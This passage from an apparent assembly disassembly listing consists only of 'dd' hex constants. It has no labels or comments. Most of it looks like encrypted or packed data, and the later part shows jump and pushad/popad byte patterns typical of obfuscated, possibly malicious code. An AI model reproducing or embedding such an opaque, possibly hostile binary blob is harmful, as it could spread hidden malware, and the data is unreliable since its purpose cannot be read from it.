		dd 3675B132h, 56BAA0DAh, 0C10D6532h, 0A645F04Ah, 5294D410h
		dd 0F06ACB6Ch, 368AD36Bh, 9FD9D053h, 5675A3DBh,	3C8CE632h
		dd 4A4FA25Dh, 2036E043h, 0ECD6EFBFh, 0D5095643h, 0D2DAB10Dh
		dd 56EAB2F2h, 5675B4DBh, 8BCB4132h, 51D62C4Ch, 56A43E3Dh
		dd 53BEB132h, 0E1ABB132h, 6B4B490Eh, 36E6C4CDh,	0D49A3054h
		dd 5638BE32h, 375DB132h, 59A6C4CDh, 5657B0B9h, 59CB4D32h
		dd 56D5B2BFh, 8F61D732h, 5675353Dh, 6DBB132h, 55FC59CAh
		dd 5D47B132h, 9657B132h, 0AA6AC1B0h, 12519E26h,	96E1BDD2h
		dd 5644343Dh, 5853B132h, 9B5DB132h, 0FD038762h,	85D3AD25h
		dd 0AFAD722Dh, 0A3D23A32h, 56EA8FDBh, 56645832h, 0F35B132h
		dd 0D469DD3Bh, 5150986Eh, 231E18ECh, 0D5CBB32Ch, 503CA5F5h
		dd 12EAB132h, 3DAD15CDh, 0A9F75819h, 363D4ECDh,	56AE3E3Dh
		dd 0DC58B132h, 56ABB132h, 0F5BB0853h, 0DF8B8141h, 479C4D77h
		dd 21BAB132h, 0AB88CA72h, 5A0D6895h, 0B70BCBE9h, 851A1617h
		dd 0B60D152h, 0EE8BD052h, 47B16E2Ch, 5ACF4E53h,	565DBEDBh
		dd 6205FD32h, 0C84849C1h, 0BE74DDE8h, 9CE08D90h, 59E2C4CDh
		dd 5675A8BFh, 37DAD132h, 565DA1DBh, 0FC328D32h,	7E20D597h
		dd 1989B372h, 0C527FF64h, 4503D0E7h, 0B375B132h, 8B131BAAh
		dd 0DB2E5C94h, 0C94C7D4Bh, 0BD3FF65Bh, 61540D9Bh, 9C5ED752h
		dd 5E03D153h, 7275B132h, 0E330B95Fh, 375F94C8h,	56AC2FDAh
		dd 565D5832h, 0CADFB132h, 0CCB23150h, 9AA7C566h, 0D27A7139h
		dd 56BAB101h, 565DBADBh, 0D5651C32h, 5D33C887h,	179005D0h
		dd 56D7F2DBh, 56EF5832h, 5F1FB132h, 0BFF2606Dh,	565DB13Dh
		dd 8BD63252h, 793DC74Dh, 0D8CBAE88h, 0DD788BC1h, 0DFE54D77h
		dd 5675B138h, 0A13BD752h, 9DDD4A85h, 5197D019h,	545D333Dh
		dd 0BECBB132h, 56D5B135h, 22907201h, 59EFC529h,	0AAE26A85h
		dd 0AA184E53h, 294D3052h, 595635F9h, 56ABB2B3h,	8F5ED732h
		dd 52953253h, 17F1BE32h, 36BAB132h, 6B7B0954h, 292DD0C7h
		dd 0D258B13Eh, 56ABB102h, 56D5B9DBh, 0EF599B32h, 1E9438A0h
		dd 56AB583Bh, 0FE19B132h, 9E5B490Bh, 3F09545Eh,	0D8574E2h
		dd 0BF14D54Dh, 56EAB10Eh, 67CFD752h, 374B3BB1h,	0A9A24E8Ah
		dd 531744CDh, 0AA57B132h, 0BF521AC1h, 0A92A4F9Bh, 56F03C3Dh
		dd 0DC7AB132h, 56BAB126h, 565DBEDBh, 0F6612F32h, 0D3FAF10Bh
		dd 8CB8E622h, 92CACF7Dh, 53FACEB1h, 5608353Dh, 0D546B132h
		dd 595BA14Dh, 56AE35B7h, 53BFD132h, 84ABB132h, 0E9113E43h
		dd 30B4D052h, 3752A688h, 56BD3C3Dh, 0DD52B132h,	56AEB133h
		dd 3637F0CEh, 0B24C3054h, 0BFB4D0D5h, 56EAB13Dh, 31487F08h
		dd 49FBB43h, 61D51644h,	0DDC70EB5h, 3037B575h, 14EB7BB3h
		dd 975ED752h, 368BD0CAh, 5A2A3A53h, 56BABBDBh, 650C6B32h
		dd 66CE106Ah, 0BF8EC086h, 56ABB14Fh, 56D5B7DBh,	0CAD78432h
		dd 0DD0D59E7h, 0DD4FB575h, 0A33DBD6Dh, 0BFCF5FB8h, 5657B16Ch
		dd 52EC3AC7h, 5A8A3AC7h, 52B59ACBh, 539E32CBh, 46C532CBh
		dd 15D8BE31h, 0BFAEB132h, 5657B13Bh, 95E9B312h,	3133BF49h
		dd 56E75822h, 0ABF0B132h, 0FD918EA5h, 897F8357h, 170A01BCh
		dd 55D0BE52h, 0D6ABB132h, 443C06DEh, 0BAEAB132h, 12F73DD8h
		dd 8945D464h, 80B4FBB7h, 0C6F9735h, 8F7CD0A4h, 57F738C7h
		dd 0EDB3D133h, 0A26AB73Ah, 0D77AD0E7h, 56BAB12Eh, 564B363Dh
		dd 4747B132h, 1857B132h, 28352A2Ah, 0F3AB84EAh,	0BDF42DC2h
		dd 8D4DA3E5h, 0A9454E8Ah, 47D5BECDh, 59AEB132h,	5657BABAh
		dd 56AD5832h, 2348B132h, 5DEFF038h, 5675B48Bh, 56B75832h
		dd 264DB132h, 0FE79209Dh, 0EA8BCCC0h, 0A5963A2Ch, 703C4499h
		dd 0A3154ECFh, 9F8C4D53h, 56BABDDBh, 67166B32h,	44F22C6Ch
		dd 0BB608FEDh, 8120D148h, 0EEB20954h, 56E27353h, 5670363Dh
		dd 30DAB132h, 363C66B9h, 3CF6BB9h, 59BB3AC7h, 56ABBDB0h
		dd 505DBE32h, 59EAB132h
		dd 5675B1BAh, 5031BE32h, 365DB132h, 0AE5F3A54h,	0AA933253h
		dd 56ABA3DBh, 395FEB32h, 5B9AAF01h, 70526A45h, 60777ED3h
		dd 36A22932h, 56A93A3Dh, 0DA58B132h, 56ABB133h,	5E903ACAh
		dd 302C3B52h, 6D147EB9h, 0D4B5BD77h, 565DB103h,	56A9353Dh
		dd 3037B132h, 0A3C4408Dh, 46908A53h, 56F1363Dh,	5915B132h
		dd 86316A8Dh, 0AA187653h, 56AEB132h, 564C58CEh,	3652B132h
		dd 971831CAh, 0AAAF7653h, 5675B133h, 56BD58CBh,	0DA52B132h
		dd 56AEB133h, 0BF37D0CEh, 56ABB13Dh, 446FE9F4h,	5CE4A62Fh
		dd 6BCD13BEh, 592FE293h, 565DB2BAh, 527D3132h, 0AA123A53h
		dd 464278CEh, 6D5B132h,	5D7EB706h, 9E4C6900h, 19A9CB32h
		dd 94FEF423h, 352B13Eh,	0AEBB3ACEh, 365775B1h, 56D5A5DBh
		dd 4CED4B32h, 51EA11F7h, 0AFFF161Bh, 0E05C55B7h, 683BB481h
		dd 0A8E0BE1Fh, 0D3A4D153h, 56D5B133h, 345ED1CAh, 0C7BA3054h
		dd 5652D065h, 0C5DB132h, 89995BB3h, 5937B703h, 0E9A46A85h
		dd 0DFDAD0CAh, 56EAB133h, 5EFABECEh, 59BAB132h,	565DB3B6h
		dd 65CFD132h, 564658FBh, 0F1B2B132h, 0D3524CC7h, 637CFE50h
		dd 0EB9D715Eh, 658F1311h, 565358E9h, 134DB132h,	0F9B6371Fh
		dd 0AC38184Ah, 847BACA1h, 0AF16ECBBh, 0C0DA0BB9h, 6DAB703h
		dd 565D363Dh, 0BFF1B132h, 5657B137h, 0D052157Ch, 6956D0C7h
		dd 686EBE32h, 0A375B130h, 59458EB1h, 565D81B7h,	912D4D32h
		dd 0D6584826h, 56ABB12Ah, 56D5A2DBh, 0BFFBDA32h, 1B8122B1h
		dd 88D2F57Eh, 0C56EDF6h, 0D866B62Ah, 0A9A874DBh, 912AD1CDh
		dd 629BDE28h, 52953253h, 6FF1BE32h, 59BAB132h, 565DB0B4h
		dd 292D4832h, 0D258B13Eh, 56ABB11Ah, 56D5B6DBh,	0F1AC8132h
		dd 9834D46Ah, 56BAFFDBh, 564F5832h, 978FB132h, 3E0A8B31h
		dd 0CD531E53h, 0A2959B8Ch, 7404854Ah, 0BF89F4CDh, 56BAB137h
		dd 0E278EDECh, 42693266h, 0F5FF0852h, 0BFCAC211h, 0A92A4E6Ch
		dd 56EC343Dh, 0A315B132h, 37450E3Dh, 565DBBDBh,	69D8CB32h
		dd 9E706C02h, 0D5BAE69Ch, 59D0A14Dh, 56EAD6B6h,	51F0BE32h
		dd 59BAB132h, 565DB0BBh, 292D4832h, 0D358B722h,	56ABB1BBh
		dd 443CD152h, 0CBEAB132h, 95BEDCCBh, 0BA1B5D20h, 45E4A36Ch
		dd 0C0709B86h, 56D0BE84h, 37ABB132h, 0AF944453h, 0AEEEF6B9h
		dd 0BF79EEB9h, 56BAB120h, 0E30CB57Eh, 25E273ADh, 0CC3E69F0h
		dd 395E7874h, 0F73CA786h, 36EAB132h, 30AD0E3Dh,	37082E8Ah
		dd 0AE59F6B9h, 56A9363Dh, 0DD37B132h, 9520D7CAh, 5A8A3A53h
		dd 8260E652h, 37963B6Ch, 56BAC5DBh, 593DD132h, 56AEB1BDh
		dd 56515832h, 2EE7B132h, 0BA5A18EEh, 9455BE53h,	52323A53h
		dd 56BAB4DBh, 54AA7632h, 925744Dh, 45BED13Eh, 2DABB132h
		dd 8423749h, 40D3DF99h,	1A71282Bh, 845840DFh, 5FB4CD19h
		dd 66AEB132h, 0C482BF7Ah, 0DC75475Fh, 528A9A53h, 530132CEh
		dd 460A32C7h, 443FBE31h, 0BF5DB132h, 56AEB137h,	7FEE99E4h
		dd 0D0A4F043h, 56D5B133h, 0AF339AC7h, 5774EDBBh, 0C94B3152h
		dd 565F3D3Dh, 8FCB132h,	565A5853h, 0F823B132h, 0FA5AD825h
		dd 0C90C4797h, 0EE26B7FFh, 0A9454ECDh, 5644303Dh, 4247B132h
		dd 5E57B132h, 1B7A3B8Eh, 60357FD5h, 0E88FEE0Fh,	0E33F68FEh
		dd 0EF78FC88h, 565DB137h, 56BB323Dh, 5937B132h,	56ABB1B2h
		dd 56D25932h, 80CCB132h, 0C77D9B84h, 0A5DBEBA8h, 9DB44999h
		dd 59514ECFh, 5657BDB9h, 0EDCDD132h, 0D0DA0605h, 56EAB132h
		dd 0BF15D053h, 56BAB13Fh, 0F8AD169Ch, 1B2FAABDh, 90E88F25h
		dd 0A914BEB9h, 0AA903A53h, 420378C7h, 7975B132h, 76A1A12Bh
		dd 6E0CA0F1h, 69009122h, 23AB818Ah, 956FDAC1h, 56D5B4DBh
		dd 45D3D432h, 0BF25AA06h, 56BAB138h, 0DAB81B6Eh, 0D87E7D35h
		dd 590641D1h, 56ABBDB5h, 5054BE32h, 59EAB132h, 5675B1B7h
		dd 5B53E232h, 595DB132h, 848658C6h, 0F78EA49Bh,	91EB62A5h
		dd 56D5B1DAh, 0BC6BEB32h, 5044535Bh, 56BAA5DBh,	8FE57F32h
		dd 3194DCDCh, 7D71B0C6h, 0A04A1E72h, 9C72A9C8h,	0D78A44F3h
		dd 3135E6D1h, 0CC37D011h, 506C26B3h, 56AF353Dh,	0EEABB132h
		dd 56ABB156h, 56D5B9DBh, 0D28C8A32h, 8631C5BFh,	53D95924h
		dd 303DB132h, 0C3F873B3h, 565C5853h, 4702B132h,	4E07C02Dh
		dd 11C053Dh, 367E3A9Bh,	56BABFDBh, 0F55EC932h, 0F1EA68CCh
		dd 62D27884h, 3731ED17h, 0BF2D7009h, 56EAB15Ch,	57FCBECEh
		dd 0AABAB132h, 0AF59FA31h, 0D4A17009h, 5657B1B3h, 46E0B2CEh
		dd 56DB3F3Dh, 5F03B132h, 6E75B132h, 89FACA1Fh, 60FBE56Eh
		dd 0D4A17009h, 5657B12Fh, 568858CEh, 59B5B132h,	0BF8B728Dh
		dd 5675B13Fh, 692D4CB7h, 64381A19h, 0E6206E10h,	563C5896h
		dd 0D1A4B132h, 56D5B133h, 56B558CBh, 519CB132h,	0DDBAB132h
		dd 0A128D953h, 0CC236092h, 5065D448h, 56A7383Dh, 0D5DAB132h
		dd 56EAB134h, 5675383Dh, 8545B132h, 566E58CEh, 0D6CEB132h
		dd 9BE399EFh, 0F6313C53h, 36D3835Ah, 0A20B3054h, 55F9BE69h
		dd 59BAB132h, 0A93C6A85h, 56A158E1h, 0B12CB132h, 0A46ABFEEh
		dd 83F11AEEh, 56F87E92h, 0BF15EA56h, 56BAB123h,	0B009AD35h
		dd 0FB4FE5AFh, 1AF14B2Eh, 0CB743625h, 37103BE1h, 5912D16Bh
		dd 5675B7B7h, 5635BE32h, 375DB132h, 0BF6D496Ah,	5657B121h
		dd 0E20B45BAh, 578BBCD3h, 28F8A45Ah, 783C31D6h,	3E35825h
		dd 5654373Dh, 0CEB132h,	0B1D6D76Dh, 0DDCA3925h,	563D4DDEh
		dd 0CEAB132h, 0B27E5BB3h, 0AFDAB703h, 0DD3BD153h, 56A159E1h
		dd 970BB132h, 0D71D5E02h, 7E0D2A90h, 0C67E2409h, 567C580Dh
		dd 96FEB132h, 344723E2h, 0C1D96ACh, 56505853h, 7ABDB132h
		dd 0A7A7401h, 0DFE5D1B6h, 5675B13Eh, 56BC3E3Dh,	0DF52B132h
		dd 56AEB132h, 0C1D60BBFh, 0DCA4B703h, 56D5B13Ch, 56EAB8DBh
		dd 0F4CF3932h, 6D1C32D4h, 13D68F09h, 0E9A1D13Ah, 1FE309E5h
		dd 0AECA8997h, 0D7B5B6BBh, 0E9FF36FAh, 13FED025h, 573DBE3Eh
		dd 0A35DB132h, 59AAF6BBh, 5657BEB1h, 56A15832h,	86C6B132h
		dd 70A4F3FDh, 2E270E58h, 36AAF4B9h, 328E31CEh, 5AE93853h
		dd 5656393Dh, 0DD52B132h, 0DFDAA577h, 56EAB12Bh, 5675A5DBh
		dd 0EBA4E732h, 81D7A3FBh, 22DB4EA9h, 0E7D1CC7Eh, 0CF555CEh
		dd 5F51BE4Fh, 36EAB132h, 0DE850A54h, 37E95AB2h,	594DF6BBh
		dd 56AEBEB0h, 565D5832h, 4FE1B132h, 0DDF8F957h,	25BA01A8h
		dd 56725853h, 0E67CB132h, 73CB8EDEh, 0D6A178A4h, 5657B133h
		dd 56BB73CAh, 56D5B7DBh, 8E711332h, 59E08A1Ah, 56BAA4B7h
		dd 564D5832h, 8BCAB132h, 722F3501h, 872C38B2h, 0A7885C32h
		dd 368A1DC0h, 3DBA3054h, 37E0E2E0h, 657034F4h, 36E9B719h
		dd 56513A3Dh, 0DFA4B132h, 56D5B132h, 3E8B0185h,	0FE62C228h
		dd 56B0333Dh, 53B4B132h, 72AEB132h, 0AA8462AAh,	56ABA3DBh
		dd 43102032h, 1F5E799Fh, 20075198h, 0B26CC5B5h,	0A9E622AAh
		dd 7DB56C87h, 58DDBE34h, 0BFABB132h, 56D5B13Bh,	9B7EC13Dh
		dd 2BAF38AFh, 0BD3F3C86h, 0A35B9FB1h, 0DAA161CDh, 5657B13Ah
		dd 851CBE52h, 37143A54h, 4267BE60h, 0BF75B132h,	56BAB13Dh
		dd 0CF5EBF7Ch, 0D3D2904Ch, 3226487Bh, 0DBB3EDB1h, 674C30B8h
		dd 59BB4434h, 5675B4B5h, 742D132h, 86A2D06Bh, 8F24E652h
		dd 0C364D6Ch, 56BE3B3Dh, 59B5B132h, 56EAB1BEh, 567D5832h
		dd 0B101B132h, 2C6BD6AEh, 0DBCFA55Bh, 67CE30B0h, 0E1A44D34h
		dd 0D2DABD72h, 56EAB137h
		dd 0FC933152h, 36623A53h, 0E160D58Bh, 4222BE36h, 0BF57B132h
		dd 56ABB13Dh, 75F2FF77h, 0C758BDFEh, 16BF75CEh,	3745CB66h
		dd 57DCBE60h, 0A3AEB132h, 45BE803Dh, 50ABB132h,	1530FA3Ch
		dd 0F76A7D65h, 4B62838Ah, 0CB5E2078h, 0BF0718E8h, 56AEB126h
		dd 1FE81641h, 0DD780101h, 0B4F906E2h, 60827D0Dh, 0B6023D07h
		dd 58537231h, 5B5DB132h, 96140754h, 0C9DBEC04h,	0C5D5CA61h
		dd 6B573873h, 36EC9A25h, 0EE13D1CAh, 0D7DC678Dh, 372A26E2h
		dd 4647D053h, 0C57B132h, 9B8AE0EAh, 0EADB005Ah,	78BC5E62h
		dd 59EF7B14h, 56BABCBFh, 0D73BD132h, 5913E7F8h,	5657B1B2h
		dd 0AF68D032h, 56C15852h, 0F7F1B132h, 0EC9E32F3h, 39CD0011h
		dd 0EE915E94h, 2E928605h, 8ED7ED9Eh, 0F51D084h,	181h, 0F52F800h
		dd 1483h, 0FE900h, 0FC7E0000h, 3B888B8Bh, 70BE41B5h, 220CDC6Dh
		dd 0E869h, 815A0000h, 31E72AEAh, 0F60FC06h, 8166F3B7h
		dd 61E88ED2h, 15B86660h, 73E180A6h, 860F5261h, 0Eh, 8B0F60h
		dd 0F000000h, 84h, 828B6100h, 62B173Dh,	0F7BF0F60h, 61C3BF0Fh
		dd 0C64E6DB9h, 0E1F7F841h, 0B9665060h, 605F5FBCh, 0F5A6161h
		dd 0C85h, 7E900h, 985E0000h, 0C06D0CFDh, 303905A3h, 800F0000h
		dd 10h,	0BE9h, 13340B00h, 9E411581h, 4E929CC4h,	0FFFFFF25h
		dd 0C8F0F7Fh, 0F000000h, 683h, 860F00h,	89000000h, 2B173D82h
		dd 78C0F06h, 0F000000h,	185h, 605AF800h, 665B5760h, 2DD8C181h
		dd 62C18161h, 61081C12h, 0CE9h,	835EA00h, 580D03E2h, 8B79822Bh
		dd 0F6059F6h, 68Ch, 890F00h, 0F000000h,	686h, 8E0F00h
		dd 61000000h, 0F60F9C3h, 0D68BF7BFh, 0AE95161h,	90000000h
		dd 87101576h, 0A502D5FEh, 0E960528Ch, 0Ah, 9EB3C1B1h, 0B0D49C86h
		dd 0E861E4CAh, 0
		dd 40EA815Ah, 0F50631E8h, 1890Fh, 8BFC0000h, 0F860FCC8h
		dd 148E0Fh, 0FE90000h, 53000000h, 62011884h, 4AF89873h
		dd 39D258EEh, 0E86163A2h, 0FFFFFE8Eh, 0EE9F8h, 8E610000h
		dd 5FCFA322h, 0F15F6907h, 0A23ED0DCh, 0FF5D233h, 189h
		dd 0F1F7F900h, 0FC28BFCh, 0C89h, 6880F00h, 0F000000h, 81h
		dd 59FC5A00h, 0CE9h, 0C0430000h, 0D4141319h, 247B41E8h
		dd 8BF9C365h, 0C08BF5C0h, 8830Fh, 810F0000h, 2,	858D6160h
		dd 631AFDBh, 0A850Fh, 66600000h, 9795CA81h, 61A2E180h
		dd 0E9D0FFF9h, 11h, 5136DC2Fh, 580C3217h, 0C2BF5AD0h, 0F6110EACh
		dd 0C18B66AAh, 11E960h,	0EA4A0000h, 0EEC590DAh,	49A49EA1h
		dd 6A66E9BAh, 0FCA0BD7Fh, 2858D61h, 0F90631E7h,	0BE9h
		dd 4F951C00h, 2ABC2803h, 0BFEF6F76h, 1F818589h,	810F062Bh
		dd 1, 19858DF9h, 600631E8h, 5E8h, 71FE0B00h, 820F4F63h
		dd 0
		dd 0DE958h, 0A2540000h,	0E188A170h, 86A5BC99h, 61D0F029h
		dd 2B158589h, 0B8F5062Bh, 0
		dd 64F68160h, 0F30DB97h, 281h, 61FE8B00h, 840FC00Bh, 172h
		dd 13E9h, 9E199500h, 0EC472DECh, 0BF49A384h, 671DA23Bh
		dd 7695F91h, 332D85C6h,	0F56062Bh, 18Bh, 68F8FC00h, 0A9C530DFh
		dd 13E9h, 12AF5B00h, 90435020h,	0B6DA88F4h, 0CA1C5D46h
		dd 3FC40FA8h, 1BDDB5FFh, 0DE9062Bh, 62000000h, 1E76BBB4h
		dd 8406A45Dh, 0F9A08F2Dh, 83EB858Dh, 0CE9062Eh,	60000000h
		dd 3DA751E6h, 0E92E4306h, 0FF807252h, 1850FD0h,	0F5000000h
		dd 8840F50h, 0F000000h,	283h, 8D616000h, 2B2AF18Dh, 1860F06h
		dd 0F5000000h, 890F51F8h, 0Ch, 68B0Fh, 830F0000h, 0
		dd 128A0Fh, 0E8600000h,	0Ah, 79BBFE9h, 0ED369055h, 615A8603h
		dd 810F046Ah, 10h, 0BE9h, 14BAA200h, 0B789D0FDh, 2997871Fh
		dd 1810Fh, 68F90000h, 1000h, 0EB816660h, 0FF61CEBDh, 2B0809B5h
		dd 14E906h, 18030000h, 0B29F6536h, 0B9EF9932h, 6E4B9916h
		dd 0A56B399h, 0D0FF9CE4h, 5E9h,	0C6594200h, 0BD8B487Dh
		dd 62B0809h, 10800Fh, 0BE90000h, 4000000h, 21109FD3h, 0AF8643DEh
		dd 7F03A6D7h, 0BA66603Ch, 0F08ADF19h, 0F8C78161h, 0E9000000h
		dd 7, 0D7734F85h, 0C7D2434Ah, 202447h, 13E96000h, 58000000h
		dd 4B25BD22h, 2F8A1AAAh, 0E39123DAh, 9276575Dh,	9D8D58B0h
		dd 62B18D5h, 18880Fh, 0E8600000h, 0Dh, 0A9FAD22h, 929B0CE3h
		dd 4D8DFFA3h, 0BF0F5A4Bh, 38B61C6h, 10830Fh, 0BE90000h
		dd 59000000h, 36A2EAE2h, 0BEC6C8CFh, 0C00B8E2Fh, 39840Fh
		dd 0F600000h, 28Bh, 615A5200h, 58E0F60h, 0BF000000h, 6450E14Bh
		dd 8B61B3B2h, 0BE900h, 0E9550000h, 512A09EFh, 0E0BA5623h
		dd 4438962h, 6E9h, 0A998AA00h, 0B9F60973h, 234CF6h, 5E8h
		dd 1D30FF00h, 6E9ED7Dh,	0C3000000h, 2293870h, 0B8665BB1h
		dd 0C381B007h, 6BB6h, 0BAFA8B66h, 0
		dd 0BC45E181h, 348B0CA6h, 0A2EE8113h, 664B74B2h, 0EE81C18Bh
		dd 7DAA07Fh, 0C8C08160h, 0E82E7679h, 13h, 6709C2CAh, 0C233F35Dh
		dd 3DFE1F18h, 338BE4D7h, 8B0E447Ah, 81615FD9h, 0ACF3A5F6h
		dd 8B0F6007h, 5, 0DCD68166h, 0EE8FAh, 0E4B0000h, 169E4336h
		dd 6A497420h, 4C715108h, 615F5A52h, 0BE856h, 70E50000h
		dd 64E622Ah, 79C0E39Eh,	7FB86639h, 48F595Ah, 0E9BAB113h
		dd 9, 3AC88370h, 0A32A73B4h, 3EA8357h, 4ACBB70Fh, 0FA81CA8Bh
		dd 0FFFF9514h, 0FF64850Fh, 810FFFFFh, 3, 8DC38B66h, 31ED0B8Dh
		dd 0C9958B06h, 89062B0Dh, 2B196D95h, 0E18D8906h, 29062B0Eh
		dd 2B2F81B5h, 0E185C706h, 5C062B21h, 6A000070h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 241FC350h, 0E585C709h, 62B2Bh, 0F000000h, 0B5FFF2B7h
		dd 62B0525h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	38C35141h, 3328312h, 2B2C3DB5h,	3195FF06h, 6A062B27h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 308FC352h, 2571688Dh, 0B58B6BB7h,	62B0D29h
		dd 95FF006Ah, 62B2945h,	4FEBC08Bh, 1F30917Eh, 2971A446h
		dd 0E9F991F9h, 0A3BEF2FBh, 0CAC8B30Bh, 0AF2EF6Ch, 2B5B7A78h
		dd 391B67A7h, 0F9ABBF39h, 8C9AAFF3h, 33A7F752h,	0CB338A56h
		dd 5B35CFD9h, 0A8556FBCh, 0EAEC6D80h, 5644828Ch, 85DFFF65h
		dd 7D6E94Ah, 965AC126h,	0E9CA240Ah, 28h, 65C68E7Bh, 9 dup(0)
		dd 0BB1E9h, 0EF496800h,	64E90631h, 68FFFA62h, 631F051h
		dd 0FA625AE9h, 0F1F868FFh, 50E90631h, 68FFFA62h, 631F32Eh
		dd 0FA6246E9h, 0F4AA68FFh, 3CE90631h, 68FFFA62h, 631F669h
		dd 0FA6232E9h, 0F79868FFh, 28E90631h, 0ECFFFA62h, 38DD51A8h
		dd 11F40877h, 6B0EE24Fh, 4227DB2Ch, 967DB104h, 3C89CFBDh
		dd 115A25F8h, 0CC3B781Dh, 0A40D5528h, 89E5C440h, 91EAE25Eh
		dd 3B594843h, 548D0A7Bh, 7841A50Ch, 188832CFh, 0C8A97730h
		dd 4200CADDh, 0E397DEA6h, 0E2204E7Fh, 709DE6E4h, 0A67BCC8Bh
		dd 0BD0B6AE1h, 293C93B8h, 0FB6F96ECh, 0E74C15F2h, 0B0AFF678h
		dd 0F02A85C6h, 81AF991h, 0A6841963h, 48E471h, 1CF90000h
		dd 0F274E356h, 0C5043D43h, 3C45DD76h, 0ACC225E9h, 0DB0F99C6h
		dd 28DC8497h, 26874D21h, 0FF929DE6h, 79A6CCB6h,	6491F019h
		dd 5BC448FCh, 44ADF552h, 0E04E57DBh, 91F019ABh,	16A38D7h
		dd 71A67937h, 0F982h, 7B3BB900h, 0E548D0Ah, 9BDB3CBBh
		dd 35295D27h, 94499D82h, 4BFF78CFh, 0F65358C7h,	55DD5AB1h
		dd 0BE074F4Ch, 2C42737Ah, 97DBD9E3h, 0A558E111h, 0A9C62FDh
		dd 4EF33F46h, 0E097DB7Dh, 38DD51A0h, 0EF000978h, 0DB425483h
		dd 70014997h, 5D9F06C1h, 0BD35A217h, 2AEF0009h,	0E9611E6Dh
		dd 6E602A88h, 0FD659DE6h, 99637A39h, 5483EFD7h,	4991F059h
		dd 0E0E99D01h, 0CE99D4B2h, 0C9894E9Bh, 964BFF78h, 71F966CDh
		dd 6990D820h, 9519E3ACh, 97DDE62Ah, 0E09F0337h,	0A5D6176Eh
		dd 2BD42360h, 7B39DEA7h, 5117EA0Eh, 52244BE4h, 28178AB2h
		dd 94B5Ch, 0C7367200h, 0BE054E23h, 90DDA77Ah, 49BAF99Ch
		dd 2792D0B5h, 5D2B20C3h, 0AB4EA217h, 8E6387E8h,	0DBBE72C9h
		dd 5AD62A9Bh, 0E0D01F93h, 0D2CD91EAh, 87D3BC3h,	0B5CC5F4h
		dd 0BA2CF1DCh, 1B227512h, 0FB6F56F0h, 4CB5FD9Ah, 0C22563A8h
		dd 4CCB3678h, 90DFD3DAh, 8D97DB0Fh, 4A2851C5h, 9DE62698h
		dd 7ACD948Dh, 0D23949F6h, 0AE91F019h, 70DAA373h, 4D71A678h
		dd 0E1h, 0B0FEEFE2h, 97DB0F47h,	8A8F165Ah, 1BFC7BCAh, 36FE85Dh
		dd 97DB341Eh, 9881F0B0h, 0BDC0B67h, 99C197DBh, 2BAA5918h
		dd 7A1B9744h, 2599D9BCh, 71F6F710h, 0BE875A6Fh,	0DC40C671h
		dd 0A7ED2A23h, 55484352h, 0F3E4535Fh, 71F997DBh, 0F463D69Ch
		dd 0D3DFCE72h, 9DE6DFF9h, 0C3B074FCh, 0E9F04EDCh, 36985ED8h
		dd 0D2E3456Dh, 8D31A596h, 0D909169Ch, 0AB39BCEh, 0E8C2724Eh
		dd 74D4ADD6h, 3A78DDCCh, 10562BCFh, 66F0AA5h, 0F5608AB2h
		dd 84387h, 0DF2E6A00h, 0B6FD465Bh, 68D59F72h, 41B2F194h
		dd 3F8AC8ADh, 553328FBh, 0A346BA0Fh, 869B9FE0h,	0D3B64AC1h
		dd 42CE2293h, 0FFD8076Bh, 0CAC591EAh, 597D3BDBh, 0BA2CAB18h
		dd 0ECBF236h, 9841FE45h, 0F1F86CDBh, 0DB0F72BDh, 9AFB6F97h
		dd 0A84CB5FDh, 0A7B3B63h, 347FC603h, 1CF9F26Dh,	682EE356h
		dd 95EC621Dh, 4871C080h, 9C71C683h, 271362D5h, 0A7D6495Ch
		dd 0E634D1CBh, 0B56B39Dh, 0D347B4F1h, 45F266C2h, 896DD49Ch
		dd 289DDB20h, 7C323BAFh, 91F00A33h, 0BE5B3A2Eh,	66108FF6h
		dd 1AB62F44h, 0C081AF9h, 6439FD44h, 5C2AD51Ch, 16B6290Eh
		dd 4002C700h, 8EA7C6F0h, 0E296E4B5h, 0CDA4FD75h, 0A793D3D9h
		dd 26D12462h, 0C09BC4A0h, 0D28616B6h, 26E3CA2Eh, 0E668175Eh
		dd 46BAFA9Fh, 2DB16F1Fh, 7A561188h, 0B9332038h,	0B3988135h
		dd 119D8CF1h, 16B676A6h, 73EEB7BBh, 0B676C107h,	3DE9A616h
		dd 0EA0E773Fh, 79E64F17h, 85B427BEh, 74B117E9h,	6F03CAE3h
		dd 0EF628E20h, 6D81353Dh, 6D9C0F96h, 0AC16C37Ch, 5B9B7EBCh
		dd 0E896F43Ah, 0AF93E55Fh, 0DC044630h, 9D78E949h, 0E1265789h
		dd 0E6515D9Eh, 48E949DCh, 60E8BE09h, 59CE5ADh, 0E320D7Fh
		dd 3C9E8EAh, 7CE50000h,	0CD0E5A36h, 0C4277E32h,	0D0D7E313h
		dd 7E402E5Fh, 239DE65Ah, 30DBA73Fh, 9810E1CAh, 0F636A05h
		dd 1AC3C2F9h, 60A35C04h, 0B7FBE27Dh, 1CE4716Fh,	4287B6BAh
		dd 998AB302h, 0FB76AA15h, 0F283B710h, 0D0216104h, 0CBE26417h
		dd 9CE85711h, 69Ch, 0F23687C3h,	15E9561Fh, 2FC32E70h, 44B80B4Ah
		dd 9296E3A1h, 682E5CF1h, 3904191Dh, 1A5F32F6h, 0ECB449ADh
		dd 0C4E56185h, 0EAFE61AEh, 70A37C91h, 2029C225h, 0E6344872h
		dd 8AB12A9Dh, 24304C11h, 2384DE4h, 0FD3D1A93h, 631C44A4h
		dd 108FF6BEh, 0F9B5A6C7h, 91F0398Eh, 0FBD6AF93h, 33AC332Bh
		dd 3982CD0Ah, 88908BEh,	0CEBBE26h, 9200C1D0h, 9BCD6268h
		dd 87EAB46Dh, 5CAF1896h, 8EB297DBh, 8CE2131Ah, 97DB5C43h
		dd 576BEA5Eh, 0D1F8EBA4h, 0F1F8BEC7h, 39EA8348h, 23E62053h
		dd 97841D62h, 927766CFh, 71F966D5h, 0DF3C3120h,	4D4A2B94h
		dd 0A753905h, 1797DB8Bh, 52C63572h, 795031AEh, 0CFE7AFADh
		dd 74883C89h, 7BE68CFEh, 2A5696Bh, 0A7640000h, 66E897E0h
		dd 9B13B7FFh, 0D5AC8CD9h, 0ACC22576h, 0DB0F99C6h, 16E3797h
		dd 5647CB7Fh, 0E91D4B58h, 561CF99Dh, 0E2A374E3h, 0F86CE29Dh
